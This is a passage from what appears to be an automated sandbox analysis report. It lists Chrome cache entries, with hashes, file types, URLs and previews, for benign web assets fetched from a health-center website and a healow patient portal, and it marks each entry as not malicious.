Preview:	(function( $ ) {..'use strict';.../*.. All of the code for your public-facing JavaScript source.. * should reside in this file... .. Note: It has been assumed you will write jQuery code here, so the.. * $ function reference has been prepared for usage within the scope.. * of this function... .. This enables you to define handlers, for when the DOM is ready:.. .. $(function() {.. .. });.. .. When the window is loaded:.. .. $( window ).load(function() {.. .. });.. .. ...and/or other possibilities... .. Ideally, it is not considered best practise to attach more than a.. * single DOM-ready or window-load handler for a particular page... * Although scripts in the WordPress core, Plugins and Themes may be.. * practising this, we should strive to set a better example in our own work... */..})( jQuery );.

Chrome Cache Entry: 549

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	412605
Entropy (8bit):	5.102453890345255
Encrypted:	false
SSDEEP:	6144:mrZ8p3ggFhJeb00q3SYiLENM6HN26cFEGHIE:mKp3ggFhJe/Hp
MD5:	5ADBD153B6DF5DC921A1F7D168B89288
SHA1:	286A2B1DA587E2EB3CE0EF2E3B3E33782929E178
SHA-256:	F24564C02B21D9762BE869D2901FF9666D5B3D9349C33F8B941210D882FF2951
SHA-512:	AD0781701ED47895996C782FB1299F9B20972493B45676409ED83104984F0DA77D082E6F45B4063D6C49E296450CDAAE39DCBC4393EB7B1841ED4F24825E3694
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/default_page.css?ver=230904-91952
Preview:	.background-cover{background-position:50%;background-size:cover}.object-fit-cover{-o-object-fit:cover;object-fit:cover;font-family:"object-fit: cover;"}.object-fit-cover--centered{left:50%;top:-50%;bottom:0;-webkit-transform:translate(-50%,50%);transform:translate(-50%,50%);min-width:100%;min-height:100%}.object-fit-cover--centered-x{left:50%;top:0;bottom:0;-webkit-transform:translateX(-50%);transform:translateX(-50%);min-width:100%;min-height:100%}.hide{text-indent:-998em;height:0;margin:0;padding:0}.adjustable-element{max-width:100%;max-height:100%;width:auto;height:auto;flex-shrink:0}.fill-the-whole-space{left:0;right:0;top:0;bottom:0}.animated-border-bottom{text-decoration:none;background-image:linear-gradient(0deg,currentColor 1px,transparent 0);background-size:0 100%;background-repeat:no-repeat;padding-bottom:.125rem;-webkit-transition:background-size .4s ease-in-out,opacity .4s ease-in-out;transition:background-size .4s ease-in-out,opacity .4s ease-in-out}.animated-border-bottom

Chrome Cache Entry: 550

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 123 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3201
Entropy (8bit):	7.910614424936234
Encrypted:	false
SSDEEP:	48:dXKRPQmRDBEFaHwkAcrF0FV98wD2cfLFZuHwG3UhpXiJrc3tR3eeD:dXlmRD6zcrFaV98wycDFiEhAhcT
MD5:	FD4EE23CCEB1624F07321393F92B2692
SHA1:	DB745CA998C7433C86A8ACCA3E15E76B5CE493F0
SHA-256:	24B1F788B3BF4C808164CB128352E7BD8E544863F52169828A56B552C1015118
SHA-512:	00076A689FD38E6ECA75967F0F2E9B1549E6F5A28A6F90F1A9B29E1586F47CAE85F11C7730184D76FF5E2D48A223DEF238F09FFA3BAF084B852534C27284D3B3
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/img/payhealow-logo.png
Preview:	.PNG........IHDR...{..........o#.....sRGB.........gAMA......a.....pHYs..........+......IDAThC.Z.tT....M6B...KH.B.rP...Q..Z.j.G..BZ...@..G...R.KqA8Z1..U.j.!D..........2..d&...}w&.=.KT.s&....w....UF.........F....Ftw...\....c.7"....5\|.X..O....RX.q..s..Z..i.h..h...#...d..A....{......803........v.PM.:.....G.=......... .Q+g....N..]...X..;%.8P.sM.r.7.......3....L.....H.h..xM.V/GF'..R...B.\l...]..../j.F.oom.h.'<.;..{;+....$..!.E..n.....i.#'...7.../W......k..Y.....t...>c."...6=F.....%.....-r...R..k(..6\|.....F..s.._..5...j....<.^A..(0..w....[O...w.q..X..!G{...Vl......w....x....a......:z.s.D.U..KuB.".;....&F....s.q.Woa..e=...b....GN....5rWA..T.....GL..q.bn8f..C.fWc...7O..co.$a<Ek.I...4I...8.J.B.).gg#........).X.._h..I.....bv....H............Z-"##.x..r.cX..3....\|aC..l..X.Z...I.Y{..s..h.s3<..d.KD......o.[l..%......xF.....HX.T.X..{?F3v^.-,TI....l.........m/c..W...R.a.?..W...hN.1.d....q......P._..{.....N&t..}.. 7a..I..$.<....!..0r!.a.X{........c.hl0

Chrome Cache Entry: 551

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	530
Entropy (8bit):	7.2576396280117494
Encrypted:	false
SSDEEP:	12:6v/7OEUhUxzPKmghSn8nazyk+k8/OzxQcxNMvVb:bhUxzlvWkT8FcxK1
MD5:	88E0F42C9FA4F94AA8BCD54D1685C180
SHA1:	5AD9D47A49B82718BAA3BE88550A0B3350270C42
SHA-256:	89C62095126FCA89EA1511CF35B49B8306162946B0C26D6F60C5506C51D85992
SHA-512:	FAFF842E9FF4CC838EC3C724E95EEE6D36B2F8C768DC23E48669E28FC5C19AA24B1B34CF1DBCBE877B3537D6A325B4C35AF440C2B6D58F6A77A04A208D9296F8
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/audio_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX...JBA.....E-R... (#..-*$.}.%.Kt.A..Dx.I...AF.Q.4.......-.6..?.m:.,.......Q..D.L..e4..2.D..8)j4:......&>.s......p?......9.o5>.][H.}...&L.%.xh{~K.J\|.b..N..HMp....f.}dd..S..4%...$dK..!..Z..NNs.W&g..Fn....p...w..Ut...E\.e.......6......M.F...X.L......em.....R#'..%....j$/..-......@.l."..M.\|....OtW.H.,.-.~W`Z.s8..W...B...C-.8"H....6......9...A..aO.1`.M..A..eA.{...-...U.,.W........IEND.B`.

Chrome Cache Entry: 552

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (386), with CRLF line terminators
Category:	downloaded
Size (bytes):	38313
Entropy (8bit):	5.192068044906044
Encrypted:	false
SSDEEP:	384:Kl3Ot7V5KV/QfqZPk8o+jIzBD6hpOOC0sF:Q3Ot7vWYfqe+7F2F
MD5:	FBDB82BDCE9D64DD453BC7F8960682B9
SHA1:	79D649F0E710B7C40C9719E646B528490CF953DE
SHA-256:	9E0CC0028F739EE0407E8953AE96DBC11493E275999A308D3FFC8135A1665541
SHA-512:	B5884C40B6D6D96224B0136C6F7826D9A4675F7890EA465348CF285DFCCADD1E7AFBD37BC55C92623A62F4A39A3EACDFC202488D627AA46F845BD065BD168513
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/bt_cost_calculator/style.min.css
Preview:	/* Item lock /....:root {...--accent-color: #52b7bd;..}.....btQuoteItem.btCCLock,...btQuoteGBlock.btCCLock {...position: relative;..}...btQuoteItem.btCCLock:before,...btQuoteGBlock.btCCLock:before {.. content: ' ';.. position: absolute;.. top: -10px;.. bottom: -10px;.. left: 0;.. right: 0;.. background: transparent;.. z-index: 999;..}..../ Columns and forms widths /...btQuoteBooking {.. margin: 0 0 20px;...box-sizing: border-box;...transition: opacity 400ms ease;.../ opacity: 0; /...opacity: 1 !important;...-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";...filter: alpha(opacity=0);..}...btQuoteBooking , .btQuoteBooking :after, .btQuoteBooking :before {...box-sizing: border-box;..}...btQuoteBooking:after {...content: " ";...display: table;...clear: both;...width: 100%;..}...btQuoteBooking .btQuoteBookingForm {...margin: 0 0 30px;..}...btQuoteBooking .btTotalQuoteContactGroup {.. transition: all 600ms ease;...max-height: 0;...overfl

Chrome Cache Entry: 553

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 75 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	7.90836744185095
Encrypted:	false
SSDEEP:	48:wZknY5wTEUYfMaXesr1nAc7Q1eYFXGouTq4pJyMQNCorVD63m:KsTERMwrsB9uT0Ce82
MD5:	B3D5264CFE61D068E388792CD360FC06
SHA1:	3924AF91716FB0EE206FEC9657125DA906C14F97
SHA-256:	71B35CCCEBB3A7D261A4ECC30A49EE9F54831B453ABA61966038DF48792EBAF9
SHA-512:	5B5DC6813ECB084EABD1668EC053B451D8A96846BB9001D0E0C0D62A3B9AE580CC7CF46E78A1DE469DA477A81547195015158F7A3EEF19853315F2CF73901FEA
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...K...<......iG.....sBIT....\|.d....UIDATx^.{p......v...n...dS ...i.R...R.L......a,E...RG.ZE...3R...q..Z..5.. ...P..0.'.....&..n..dC...,t.3......s.......Q-yK.........I.`$Pb#D4..f.D.@.J9'.z...Y..`0....K..5(..\..".......wD9h7.z....\|.g5..e;QWK...W.7.v.@.)E..ZC....)....m..j..~...........U2....Aa...?..L_&.......@.. ..L...mo.e..`\|.O..1.j.xn...ob0......I)...Z.o..i..$...&..Q....L....9..q"X.. jX.N..hM......p./.Y-.h..I^3.&J...Pu.....8..U.[....F^JF...6{...7.u&..ir..c.o).JHk......sH..}.;.......,.{....:r$..L.."...:..=..da.3......W5.=....%Q.rL{t%.q....=Q...%@.}...........V...?...MM...o...,,.zM.~...s...d.Ka...?..hp...z....q[._......._I2..;[n.{....v.-X.............Q#>......\|.U.i......Y..._\a%..4-w......eA...=g.<.t..v...&X.+..T.U..q....y.x".........0.X......p...u.]... K...i.O5.-.......HK.t..4.,....Y...-j.Fj.02,....(.j.u...<...#.('.e.C..0D/.~?.-vP!8...-...7..a....,W..~..:..g.o.1+*..@.E8X....?K:..&Y.}J...b[..Q4.b.....,.JE

Chrome Cache Entry: 554

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15740, version 1.0
Category:	downloaded
Size (bytes):	15740
Entropy (8bit):	7.9866977438851
Encrypted:	false
SSDEEP:	384:RRlYHoE1mbF2cZgh17dAdJ0mB1cpOxvLTcZjh1LOz:JYIB2Sg/dYui1XBHwG
MD5:	B9C29351C46F3E8C8631C4002457F48A
SHA1:	E57E59C5780995FF2937AB2B511A769212974A87
SHA-256:	F75911313E1C7802C23345AB57E754D87801581706780C993FB23FF4E0FE62EF
SHA-512:	487AC3FD483F8EA131989857BCF1782C295AC72022BC2EBD4BF19001433D6DB65000E192E58B7A6F70F627D15C58F9FED9BA5FE0216363354BEC5A396299DAD9
Malicious:	false
Reputation:	low
URL:	http://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2
Preview:	wOF2......=\|.......l..=..........................d..d..^.`.. .X..<.....x..s........6.$.... ..\|. ..:.(..l.V38.......;..'....F.........)..!B..V..U......;..q....O#..cx..mt.w[.......x.UG\|n}........]k[....;J.....<=..F.$'/.......w...r$`....b(g..9C4....#.BK..G..9".Q...ld...j..C.l.F.i#.+.UO...%.E.Z..C..."......k1._....M.Y....-..H......Gm3.....YiJ.s..b..>..W..U.."..2..-.O........(H...0$....7l.7}.j...".C...w?/.oB%<K..d...'H....M]...k.."...E_k.............8.\...A.1U.9 5.@Jb.)J....Hkb ....!.n._.s.:5E......k..}.^...7]f.,a.7..a.H...J^.~...uWJ),....Z.7A..Ra:..k...}.R....G k$.{...%...R...."X6...A......p..V..IH[... .m..H.q.x.?\|......b.#:.c..Z.V.}..:P$j..c..B..^...HH......?......=.#^ q.@R...I....#.$O.H.N03~.@`...........8e.......>!...d..I.........g<)2......P....u..V.........c.1sK.."G.#...^;....=w....[G.}k.y.?.........c.a..\9f..zx..("mGj.."...d..........>c.!..Z.xm...=....v.V..:.6s.....J.oz#.....Y"d.....6>1...i...IQ..;2......\d......n..y....K..Y.L...O.2.....

Chrome Cache Entry: 555

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2326
Entropy (8bit):	4.399207176213465
Encrypted:	false
SSDEEP:	48:cXSYtzV2HGsWn3eofU4f08Z7BsTSVIX44dFEiyYGjMWHiKFD:8VuGsWumB7OWeI4dzyYGjVt
MD5:	0CAB8314DDD102F5B8E655E64E8C66A8
SHA1:	87073850F5D5C7366781C48025A9068D1748E574
SHA-256:	80B0A3076C0A853E20C74FA062EAEB7EA1371C331274CD9437AFA9F093FC672D
SHA-512:	D226982EF8B27ADA77BA079D1FF07CB89FCD494EA0FDAD98FBA61CF890DA0E5EF8FBB5F8E05B86C5754C852AD108C443AAEB9C5F6F547136D12035A73E563D60
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Service</title>.<path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69.4768 69.9768 53.9239 69.9768 34.7384C69.9768 15.5529 54.4239 0 35.2384 0C16.0529 0 0.5 15.5529 0.5 34.7384C0.5 53.9239 16.0529 69.4768 35.2384 69.4768Z" fill="#F3AB4F"/>.<path d="M27.0444 34.7047V40.1761C27.0444 42.8319 28.0629 45.395 29.9274 47.2847C31.8255 49.2081 34.3592 50.2687 37.0612 50.2687H37.9535C40.6302 50.2687 43.1429 49.2249 45.0368 47.3352C46.493 45.8789 47.4442 44.0524 47.8062 42.0658C47.116 42.3057 46.3962 42.4236 45.6555 42.4236C44.7632 42.4236 43.8962 42.2468 43.0839 41.9017C42.3853 44.0692 40.3525 45.6349 37.9535 45.6349H37.0612C34.0856 45.6349 31.674 43.2232 31.674 40.2477V34.7047C33.4838 34.2796 35.142 33.3537 36.4804 32.0028C38.3575 30.1088 39.3802 27.5331 39.3802 24.8689V21.0684C39.3802 20.4539 38.9425 19.9447 38

Chrome Cache Entry: 556

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2400 x 2400, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	265336
Entropy (8bit):	7.8463825633493185
Encrypted:	false
SSDEEP:	6144:Xrt2gYiRFV72f6xnPocN9yS/3ujwyM2R5/jUUjfa:XPqu3pxyM2YUjfa
MD5:	BC9E1757CA529A0BB75FBD891FBEC67F
SHA1:	88A763C38E820BC5CC3CE40DE88A63869FD6E571
SHA-256:	2799DCBCF3810D59BAF628AA637E2989F7E961648CD20D111CC0BF99DBBD5801
SHA-512:	2F63644E38324491C73CFBDA3E1098BC1669765A39837594E89181115147F93130BF2B280E723C4BA31B34094543C9B1381569BA770F141F162D0A902AF0BC12
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2023/11/HIT-2023.png
Preview:	.PNG........IHDR...`...`......M.n....pHYs...#...#.x.?v.. .IDATx...{.\.}'..T...H. ..<cA..b..........%.q..)KT..Fr..v........^.d...$..S....o.e{..X..Fh........,....W.p..B.....t..Tu..8......M...}.s.=..........................`.......................`.......................`.......................`.......................`.............8.....U...!...N._...wS....0./{..l.........5!..c.a.....h\|4Z.}.......F.......Wd.........,.w.....h5'.-....L'.....@_+.<..6...j...!l.....@.......}...U1,.BX...&c.V...s.....p........}....x. \|.....".7.s.............(>FB....O..7.B..V4..,..!.V..:..!.5.Vsb......`P.`....=...l...B..fp...`.Va..T..Fgx?...U.Vs\|...... ......zJ....~[;.uO..66Z..~.(.<..t.db.k.{....`..`....=...lJ.p4Y.fF.........t.......`......j.l.......u[.e.h5'....f.6!,....."......Z..#e.jE..._.%...2....V.t.BX.....B.......2\|5.p..Lh..2\|5.P.\|.a..".W..............m..._...0H......Z.\|M.\|...U..2.5...._..a..".c.jc.a.,_.v..6.....0........).\|].aK....jn..:...U..V.).6&.q..X......m"......,..

Chrome Cache Entry: 557

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15740, version 1.0
Category:	downloaded
Size (bytes):	15740
Entropy (8bit):	7.9866977438851
Encrypted:	false
SSDEEP:	384:RRlYHoE1mbF2cZgh17dAdJ0mB1cpOxvLTcZjh1LOz:JYIB2Sg/dYui1XBHwG
MD5:	B9C29351C46F3E8C8631C4002457F48A
SHA1:	E57E59C5780995FF2937AB2B511A769212974A87
SHA-256:	F75911313E1C7802C23345AB57E754D87801581706780C993FB23FF4E0FE62EF
SHA-512:	487AC3FD483F8EA131989857BCF1782C295AC72022BC2EBD4BF19001433D6DB65000E192E58B7A6F70F627D15C58F9FED9BA5FE0216363354BEC5A396299DAD9
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2
Preview:	wOF2......=\|.......l..=..........................d..d..^.`.. .X..<.....x..s........6.$.... ..\|. ..:.(..l.V38.......;..'....F.........)..!B..V..U......;..q....O#..cx..mt.w[.......x.UG\|n}........]k[....;J.....<=..F.$'/.......w...r$`....b(g..9C4....#.BK..G..9".Q...ld...j..C.l.F.i#.+.UO...%.E.Z..C..."......k1._....M.Y....-..H......Gm3.....YiJ.s..b..>..W..U.."..2..-.O........(H...0$....7l.7}.j...".C...w?/.oB%<K..d...'H....M]...k.."...E_k.............8.\...A.1U.9 5.@Jb.)J....Hkb ....!.n._.s.:5E......k..}.^...7]f.,a.7..a.H...J^.~...uWJ),....Z.7A..Ra:..k...}.R....G k$.{...%...R...."X6...A......p..V..IH[... .m..H.q.x.?\|......b.#:.c..Z.V.}..:P$j..c..B..^...HH......?......=.#^ q.@R...I....#.$O.H.N03~.@`...........8e.......>!...d..I.........g<)2......P....u..V.........c.1sK.."G.#...^;....=w....[G.}k.y.?.........c.a..\9f..zx..("mGj.."...d..........>c.!..Z.xm...=....v.V..:.6s.....J.oz#.....Y"d.....6>1...i...IQ..;2......\d......n..y....K..Y.L...O.2.....

Chrome Cache Entry: 558

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	80
Entropy (8bit):	4.712649039618044
Encrypted:	false
SSDEEP:	3:InEwpCkoSySv6yukbbkpBth+0hk1:wpoSySv6yF8pbZh+
MD5:	03A5D196A68F65E98E556C4391094CF2
SHA1:	87FECF9E08071136952DE76A817213F568DA1D9A
SHA-256:	C77B8601E08A05EFD3FAF3E4D187A67F9397145CDDD89B64687B69597625B355
SHA-512:	B4BC4C4B0E6D756A68BCB9A1D913E8CE0B5678350AACDFC109B3B5B1046D848CB5BAFA2DBF208C56FD5074F77F9BC5E6FB083EF7D68F5D7865A3BC360755BB64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISLAn9uqUg1dGU6RIFDRVQj_4SBQ1a3e0uEgUNUopJoxIFDUC-9V0SBQ1AWQ9bEhAJ1i7GQJ03AZ4SBQ2UkJL6?alt=proto
Preview:	Ci0KBw0VUI/+GgAKBw1a3e0uGgAKBw1SikmjGgAKBw1AvvVdGgAKBw1AWQ9bGgAKCQoHDZSQkvoaAA==

Chrome Cache Entry: 559

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (8700), with no line terminators
Category:	downloaded
Size (bytes):	8700
Entropy (8bit):	4.901679221068419
Encrypted:	false
SSDEEP:	96:c7FZY7QB0zRHEFjedGgSrWN06CwuEUKj4vZPTxJpEMfHBE6J0/Pn07:uYNzRHIJgSaN06lj4BPl7E6O6JCk
MD5:	38F95416D5F7349B65699F64E6A587FD
SHA1:	2CA6F6F77481C3CDBCAACFC61A56C24F3C933ADE
SHA-256:	08756C47213D461BAA3B01F42448A76D11F524470C7A34F9018733889BD4F49C
SHA-512:	E855AB926916CC3A9AEF67E6BCAC01056180650710804624452F2D2ACB7CE5CE563FBDC5146D51FFE6607FBCDFF8D806765D4FE14C6316AE559BB0C6281EDAFA
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.16
Preview:	!function(){if("function"==typeof window.CustomEvent)return!1;function e(e,t){t=t\|\|{bubbles:!1,cancelable:!1,detail:void 0};var n=document.createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}e.prototype=window.Event.prototype,window.CustomEvent=e}(),function(){var e=function(e){return RegExp("(^\| )"+e+"( \|$)")},t=function(e,t,n){for(var i=0;i<e.length;i++)t.call(n,e[i])};function n(e){this.element=e}n.prototype={add:function(){t(arguments,function(e){this.contains(e)\|\|(this.element.className+=this.element.className.length>0?" "+e:e)},this)},remove:function(){t(arguments,function(t){this.element.className=this.element.className.replace(e(t),"")},this)},toggle:function(e){return this.contains(e)?(this.remove(e),!1):(this.add(e),!0)},contains:function(t){return e(t).test(this.element.className)},replace:function(e,t){this.remove(e),this.add(t)}},"classList"in Element.prototype\|\|Object.defineProperty(Element.prototype,"classList",{get:function(){return

Chrome Cache Entry: 560

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32068)
Category:	downloaded
Size (bytes):	36757
Entropy (8bit):	5.173174344343287
Encrypted:	false
SSDEEP:	768:Lc+tm6ZvZyjBkgOr4KHMEYX11bPzESGverZ5JgZZ7NcKhO5RruTic:xUAUXR11bPzaepfruec
MD5:	1DE75713B72F8E116CA393F4D0DACCB3
SHA1:	FC4F46876FA9D5F3D7AF59B42870BF0FCB660EB7
SHA-256:	9D3F975CF634A73038B311FBDB4DF1307B07FE7DF5BD176F2D04F13865FA1A3C
SHA-512:	2C5AE0DB513887943DE24F2AFC5F35FDF49F29A2C80610B202570F334D6648C4CA77187D49213A36DBDEB83D814F58AA692632C29909A3C03DEABBF86150A2B2
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/jquery.slick/1.5.1/slick.min.js
Preview:	/. _ _ _ _. ___\| (_) ___\| \| __ (_)___./ __\| \| \|/ __\| \|/ / \| / __\|.\__ \ \| \| (__\| < _ \| \__ \.\|___/_\|_\|\___\|_\|\_(_)/ \|___/. \|__/.. Version: 1.5.1. Author: Ken Wheeler. Website: http://kenwheeler.github.io. Docs: http://kenwheeler.github.io/slick. Repo: http://github.com/kenwheeler/slick. Issues: http://github.com/kenwheeler/slick/issues.. /.!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):"undefined"!=typeof exports?module.exports=a(require("jquery")):a(jQuery)}(function(a){"use strict";var b=window.Slick\|\|{};b=function(){function c(c,d){var f,g,h,e=this;if(e.defaults={accessibility:!0,adaptiveHeight:!1,appendArrows:a(c),appendDots:a(c),arrows:!0,asNavFor:null,prevArrow:'<button type="button" data-role="none" class="slick-prev" aria-label="previous">Previous</button>',nextArrow:'<button type="button" data-role="none" class="slick-next" aria-label="next">Next</button>',autoplay:!1,autoplaySpeed:3e3,centerM

Chrome Cache Entry: 561

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 42 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	910
Entropy (8bit):	7.7455040862049085
Encrypted:	false
SSDEEP:	24:do/cXeTrHaRodw+UWNhsGzRSIhAugV7unmH4ifkx08v5:K/cXeqadLUWNhNzRSMXgV7unbisx08B
MD5:	EFA6BB2BFE459BC6F4BDAFA3DB0383F6
SHA1:	52D15CE52FE50643E542C17812DE43F4ED1B6EE0
SHA-256:	6318394F737C66F0E2CCFCD88E3935C6667633A1B95FA29FBA2B75431D55EEF2
SHA-512:	E23C04D8997F5C2F92070E09261B7EE50D9DF8753F45CF66F604F0874FFA8D99E947C97C528EC02A2C3FBE8E43D840B343A7D0225532980D5DA95031216415B7
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_42x16dp.png
Preview:	.PNG........IHDR............`"....UIDATx..T...=.Mm......&[....Sl..m.m....U....;.uf..frrr...v...U)...).....2Q..`.y....U.9..;..0.^........B.......].h.^..... . L3....jQw..vB.D....<..P.4..\|.B....d..?.....Qv.....Dv..$...._.\|..@........k....`..JG...$..T.y\|T.......v.iH...yc6'...%..&.w.oI.ZS{..!6A@.Y.....a....U]..:...g-......01F........Q...k#..G\....~.+....z.>....F...}1[..~.9..r[.?..9......2~....e."1.).}[.WW.{.r...\|D..<7..t.M.`..S...8.ab..F ....n..S.:n.>1(g.p$.:k1..6...Y..@.5.8.0y.....R...;.K\. 0p...g.,r.E...............=.....!.^..Y!..D.Z.....aV.....;F.4...!.`^.L.VQ.....&...d....O.\...I).!1....{......K.f.e ....L......~.%IY(..Y.....NeA...?.^..2.C..^........P....)T.&?.zm.Sl.b..l.D...%.{.B>X{.9Y..M..:.)......EK..b.......}....\|.o..].....GH?..3F.B(.:.....AdA........Z... .L....)..@?...f.F....6......u..oQfMC.....OC.1[3..j..j.G...&..D`........@>...g....IEND.B`.

Chrome Cache Entry: 562

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 11 tables, 1st "OS/2", 14 names, Macintosh, type 1 string, healow
Category:	downloaded
Size (bytes):	13712
Entropy (8bit):	6.162743219486132
Encrypted:	false
SSDEEP:	384:Aek7+0yfUXBJSSXet7yCUtUIKtnfsJvcwL:AAfUXSSXRIIunfAcwL
MD5:	C968B4B0CF63B177ADFB67D169A1B4F8
SHA1:	84FCDA8AFB19D64B8C480F2D611B35E48207B2ED
SHA-256:	0C96783F4EA5EE02B13A1F6008D84F025DD3AA326E8B2D0ED2AFF317685FEE08
SHA-512:	F187D8897228FE9A5121FF17336CF2F80E2BD1FA357EAD40249D096CC5E170B0104FB9FA9FDEE521ADE20EBE5D792475C3AC0A6B5048AC42D9013A298EA9F3FA
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/fonts/newLogin/healow.ttf?qd9atp
Preview:	...........0OS/2...k.......`cmap.r.........\gasp.......x....glyf.C........1.head .v...2....6hhea......2....$hmtx...%..2.....loca......3....Rmaxp.3.\..3.... name...x..3....zpost......5p... ...........................3...................................@...6.....@...@............... .................................@............. .".6......... ...6..................................................79..................79..................79...............!.0.H.].m.~..........%"'..'&547>.7632......1......#8.9.."....326514&#1.8.1"&515>.32..1.8.1..#1.8.1"&515>.32..1...#1.#"&5463132....#!#"&5463132....#1."&546?.>.32.....1...#8.9.."&546717>.32.....1...#1."&'1'..54632..1......#8.9.."&'1'..54632..1......#1..6./F....F//55//F....F//5MllMLllL......................F....F......E....E....A....3.......3....o....3.......4........1.......2.....g...0.......0.......F//56//F....F//65//F....lMLllLMk.L..B....B...m..J....J...k.......................3.......2...m.....3.......3.....2.......2........./......./....

Chrome Cache Entry: 563

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2326
Entropy (8bit):	4.399207176213465
Encrypted:	false
SSDEEP:	48:cXSYtzV2HGsWn3eofU4f08Z7BsTSVIX44dFEiyYGjMWHiKFD:8VuGsWumB7OWeI4dzyYGjVt
MD5:	0CAB8314DDD102F5B8E655E64E8C66A8
SHA1:	87073850F5D5C7366781C48025A9068D1748E574
SHA-256:	80B0A3076C0A853E20C74FA062EAEB7EA1371C331274CD9437AFA9F093FC672D
SHA-512:	D226982EF8B27ADA77BA079D1FF07CB89FCD494EA0FDAD98FBA61CF890DA0E5EF8FBB5F8E05B86C5754C852AD108C443AAEB9C5F6F547136D12035A73E563D60
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/icon__service_1.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Service</title>.<path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69.4768 69.9768 53.9239 69.9768 34.7384C69.9768 15.5529 54.4239 0 35.2384 0C16.0529 0 0.5 15.5529 0.5 34.7384C0.5 53.9239 16.0529 69.4768 35.2384 69.4768Z" fill="#F3AB4F"/>.<path d="M27.0444 34.7047V40.1761C27.0444 42.8319 28.0629 45.395 29.9274 47.2847C31.8255 49.2081 34.3592 50.2687 37.0612 50.2687H37.9535C40.6302 50.2687 43.1429 49.2249 45.0368 47.3352C46.493 45.8789 47.4442 44.0524 47.8062 42.0658C47.116 42.3057 46.3962 42.4236 45.6555 42.4236C44.7632 42.4236 43.8962 42.2468 43.0839 41.9017C42.3853 44.0692 40.3525 45.6349 37.9535 45.6349H37.0612C34.0856 45.6349 31.674 43.2232 31.674 40.2477V34.7047C33.4838 34.2796 35.142 33.3537 36.4804 32.0028C38.3575 30.1088 39.3802 27.5331 39.3802 24.8689V21.0684C39.3802 20.4539 38.9425 19.9447 38

Chrome Cache Entry: 564

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15920, version 1.0
Category:	downloaded
Size (bytes):	15920
Entropy (8bit):	7.987786667472439
Encrypted:	false
SSDEEP:	384:sShqOXQlaSchOwK0uFvRqq3xR/xb5OY3aU/lHS9WE2YeK1os:sShJKaScJK0uFvRvxb5OY3aU/lHkmK
MD5:	3A44E06EB954B96AA043227F3534189D
SHA1:	23CEF6993DDB2B2979E8E7647FC3763694E2BA7D
SHA-256:	B019538234514166EC7665359D097403358F8A4C991901983922FB4D56989F1E
